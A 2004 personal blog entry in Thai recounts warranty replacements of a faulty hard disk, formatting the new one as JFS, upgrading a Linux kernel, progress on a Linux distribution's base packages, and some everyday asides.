ล้างดิสก์แล้วก็พร้อมเอาไปเคลม ดิสก์ตัวนี้ประกันของซินเน็กซ์ สาขาใกล้สุดคือที่เซียร์รังสิต แต่ซินเน็กซ์สาขาเซียร์รังสิตไม่มี 60 GB ก็เลยอัปเกรดเป็น 80 GB แทน เพิ่มตังค์ 300 บาท + VAT 7% ครึ่งชั่วโมงมารับ ระหว่างรอก็เดินดูแผ่น สอยดีวีดีคอนเสิร์ตมาสามแผ่น .. ไปรับฮาร์ดดิสก์ที่ซินเน็กซ์ ขากลับผ่านแผงดีวีดีเลยซื้อแผ่นคอนเสิร์ตกับหนังมาอีกสามแผ่น .. ลอลลล

กลับมาก็เอาฮาร์ดดิสก์ตัวใหม่มาต่อ detect ได้ถูกต้องไม่มีปัญหา ลินุกซ์มองเห็น /dev/hdb รายงานว่าไม่พบพาร์ติชัน ถือว่าปกติเพราะคงเป็นดิสก์เปล่าๆ .. บูตเสร็จก็มาแบ่งพาร์ติชัน ปรากฏว่าอ่าน /dev/hdb ไม่ได้เพราะเซ็กเตอร์ 0 เจ๊ง .. ฮ่วย (- -)a

วันนี้เลยไปเคลมอีกรอบ ตัวล่าสุดนี้ดูเรียบร้อยดี อยากลอง jfs บ้าง ก็เลยฟอร์แมตเป็น jfs ทั้งหมดเลย .. เรียบร้อยแล้วลอง mount ดูปรากฏว่าเคอร์เนลไม่สนับสนุน (ลืมไปว่าไม่ได้คอนฟิกไว้) เลยถือโอกาสอัปเกรดเคอร์เนลเครื่อง Yggdrasil ไปด้วย

[kitt@yggdrasil kitt] $ uname -a
Linux yggdrasil.kitty.in.th 2.6.6-mm5 #1
Thu Jun 10 14:44:30 ICT 2004 i686 athlon i386 GNU/Linux

ความคืบหน้าของทะเล .. MrChoke ปั่น base สำหรับทะเลใกล้เสร็จแล้ว แพ็กเกจ base ทั้งหมดมาจากโครงการ TLC และตั้งชื่อไฟล์แพ็กเกจด้วย “.tlc” ไว้เลย เป็นการบอกที่มา เพื่อให้สะดวกในการจัดการและบริหารแพ็กเกจในภายหลัง

2-3 วันที่ผ่านมาใช้โทรศัพท์มือถือบ่อยมาก มีอาการปวดหัว คลื่นไส้ แสบตา .. ไม่ดีเลย :(